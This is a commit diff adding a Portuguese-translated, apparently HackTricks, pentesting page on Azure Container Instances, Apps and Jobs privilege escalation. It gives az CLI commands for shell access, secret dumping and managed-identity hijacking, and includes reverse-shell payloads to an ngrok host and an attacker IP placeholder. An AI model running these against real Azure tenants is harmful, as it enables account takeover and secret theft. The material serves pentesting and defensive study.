Translated ['src/pentesting-cloud/azure-security/az-privilege-escalation

This commit is contained in:
Translator
2025-02-25 22:37:36 +00:00
parent 76d8204317
commit 3db9f8e394

View File

@@ -0,0 +1,177 @@
# Az - Azure Container Instances, Apps & Jobs Privesc
{{#include ../../../banners/hacktricks-training.md}}
## Azure Container Instances, Apps & Jobs
Para mais informações, consulte:
{{#ref}}
../az-services/az-container-instances-apps-jobs.md
{{#endref}}
## ACI
### `Microsoft.ContainerInstance/containerGroups/read`, `Microsoft.ContainerInstance/containerGroups/containers/exec/action`
Essas permissões permitem que o usuário **execute um comando** em um contêiner em execução. Isso pode ser usado para **escalar privilégios** no contêiner se ele tiver alguma identidade gerenciada anexada. Claro, também é possível acessar o código-fonte e qualquer outra informação sensível armazenada dentro do contêiner.
Para obter um shell, é tão simples quanto:
```bash
az container exec --name <container-name> --resource-group <res-group> --exec-command '/bin/sh'
```
Também é possível **ler a saída** do contêiner com:
```bash
az container attach --name <container-name> --resource-group <res-group>
```
Ou obtenha os logs com:
```bash
az container logs --name <container-name> --resource-group <res-group>
```
### `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Essas permissões permitem **anexar uma identidade gerenciada pelo usuário** a um grupo de contêineres. Isso é muito útil para escalar privilégios no contêiner.
Para anexar uma identidade gerenciada pelo usuário a um grupo de contêineres:
```bash
az rest \
--method PATCH \
--url "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ContainerInstance/containerGroups/<container-name>?api-version=2021-09-01" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>": {}
}
}
}' \
--headers "Content-Type=application/json"
```
### `Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.ContainerInstance/containerGroups/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Essas permissões permitem **criar ou atualizar um grupo de contêiner** com uma **identidade gerenciada pelo usuário** anexada a ele. Isso é muito útil para escalar privilégios no contêiner.
```bash
az container create \
--resource-group <res-group> \
--name nginx2 \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--assign-identity "/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-namaged-identity-name>" \
--restart-policy OnFailure \
--os-type Linux \
--cpu 1 \
--memory 1.0
```
Além disso, também é possível atualizar um grupo de contêiner existente adicionando, por exemplo, o argumento **`--command-line`** com um shell reverso.
## ACA
### `Microsoft.App/containerApps/read`, `Microsoft.App/managedEnvironments/read`, `microsoft.app/containerapps/revisions/replicas`, `Microsoft.App/containerApps/revisions/read`, `Microsoft.App/containerApps/getAuthToken/action`
Essas permissões permitem que o usuário **obtenha um shell** em um contêiner de aplicativo em execução. Isso pode ser usado para **escalar privilégios** no contêiner se ele tiver alguma identidade gerenciada anexada. Claro, também é possível acessar o código-fonte e qualquer outra informação sensível armazenada dentro do contêiner.
```bash
az containerapp exec --name <app-name> --resource-group <res-group> --command "sh"
az containerapp debug --name <app-name> --resource-group <res-group>
```
### `Microsoft.App/containerApps/listSecrets/action`
Esta permissão permite obter o **texto claro dos segredos** configurados dentro de um aplicativo de contêiner. Observe que os segredos podem ser configurados com o texto claro ou com um link para um cofre de chaves (nesse caso, o aplicativo terá uma identidade gerenciada atribuída com acesso aos segredos).
```bash
az containerapp secret list --name <app-name> --resource-group <res-group>
az containerapp secret show --name <app-name> --resource-group <res-group> --secret-name <scret-name>
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Essas permissões permitem **anexar uma identidade gerenciada pelo usuário** a um aplicativo de contêiner. Isso é muito útil para escalar privilégios no contêiner. Executar essa ação a partir do az cli também requer a permissão `Microsoft.App/containerApps/listSecrets/action`.
Para anexar uma identidade gerenciada pelo usuário a um grupo de contêiner:
```bash
az containerapp identity assign -n <app-name> -g <res-group> --user-assigned myUserIdentityName
```
### `Microsoft.App/containerApps/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`
Essas permissões permitem **criar ou atualizar um contêiner de aplicativo** com uma **identidade gerenciada pelo usuário** anexada a ele. Isso é muito útil para escalar privilégios no contêiner.
```bash
# Get environments
az containerapp env list --resource-group Resource_Group_1
# Create app in a an environment
az containerapp create \
--name <app-name> \
--resource-group <res-group> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--cpu 1 --memory 1.0 \
--user-assigned <user-asigned-identity-name> \
--min-replicas 1 \
--command "<reserse shell>"
```
> [!TIP]
> Note que com essas permissões **outras configurações do aplicativo** podem ser modificadas, o que pode permitir a realização de outros ataques de privesc e pós-exploração, dependendo da configuração dos aplicativos existentes.
## Jobs
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/write`
Embora os jobs não sejam de longa duração como os aplicativos de contêiner, você pode explorar a capacidade de substituir a configuração do comando do job ao iniciar uma execução. Ao criar um template de job personalizado (por exemplo, substituindo o comando padrão por um shell reverso), você pode obter acesso ao shell dentro do contêiner que executa o job.
```bash
# Retrieve the current job configuration and save its template:
az containerapp job show --name <job-name> --resource-group <res-group> --output yaml > job-template.yaml
# Edit job-template.yaml to override the command with a reverse shell (or similar payload):
# For example, change the containers command to:
# - args:
# - -c
# - bash -i >& /dev/tcp/4.tcp.eu.ngrok.io/18224 0>&1
# command:
# - /bin/bash
# image: mcr.microsoft.com/azureml/minimal-ubuntu22.04-py39-cpu-inference:latest
# Update and wait until the job is triggered (or change ths type to scheduled)
az containerapp job update --name deletemejob6 --resource-group Resource_Group_1 --yaml /tmp/changeme.yaml
# Start a new job execution with the modified template:
az containerapp job start --name <job-name> --resource-group <res-group> --yaml job-template.yaml
```
### `Microsoft.App/jobs/read`, `Microsoft.App/jobs/listSecrets/action`
Se você tiver essas permissões, pode listar todos os segredos (primeira permissão) dentro de um contêiner de Job e, em seguida, ler os valores dos segredos configurados.
```bash
az containerapp job secret list --name <job-name> --resource-group <res-group>
az containerapp job secret show --name <job-name> --resource-group <res-group> --secret-name <secret-name>
```
### `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/jobs/write`
Se você tiver permissão para modificar a configuração de um trabalho, pode anexar uma identidade gerenciada atribuída a um usuário. Essa identidade pode ter privilégios adicionais (por exemplo, acesso a outros recursos ou segredos) que podem ser explorados para escalar privilégios dentro do contêiner.
```bash
az containerapp job update \
--name <job-name> \
--resource-group <res-group> \
--assign-identity <user-assigned-identity-id>
```
### `Microsoft.App/managedEnvironments/read`, `Microsoft.App/jobs/write`, `Microsoft.App/managedEnvironments/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
Se você puder criar um novo Job de Container Apps (ou atualizar um existente) e anexar uma identidade gerenciada, pode projetar o job para executar um payload que eleva privilégios. Por exemplo, você poderia criar um novo job que não apenas executa um shell reverso, mas também usa as credenciais da identidade gerenciada para solicitar tokens ou acessar outros recursos.
```bash
az containerapp job create \
--name <new-job-name> \
--resource-group <res-group> \
--environment <environment-name> \
--image mcr.microsoft.com/oss/nginx/nginx:1.9.15-alpine \
--user-assigned <user-assigned-identity-id> \
--trigger-type Schedule \
--cron-expression "*/1 * * * *" \
--replica-timeout 1800 \
--replica-retry-limit 0 \
--command "bash -c 'bash -i >& /dev/tcp/<attacker-ip>/<port> 0>&1'"
```
> [!TIP]
> Este comando gerará um erro se você não tiver a permissão `Microsoft.App/jobs/read`, embora o Job seja criado.
### `microsoft.app/jobs/start/action`, `microsoft.app/jobs/read`
Parece que com essas permissões deveria ser possível iniciar um job. Isso poderia ser usado para iniciar um job com um shell reverso ou qualquer outro comando malicioso sem precisar modificar a configuração do job.
Não consegui fazê-lo funcionar, mas de acordo com os parâmetros permitidos, deveria ser possível.
{{#include ../../../banners/hacktricks-training.md}}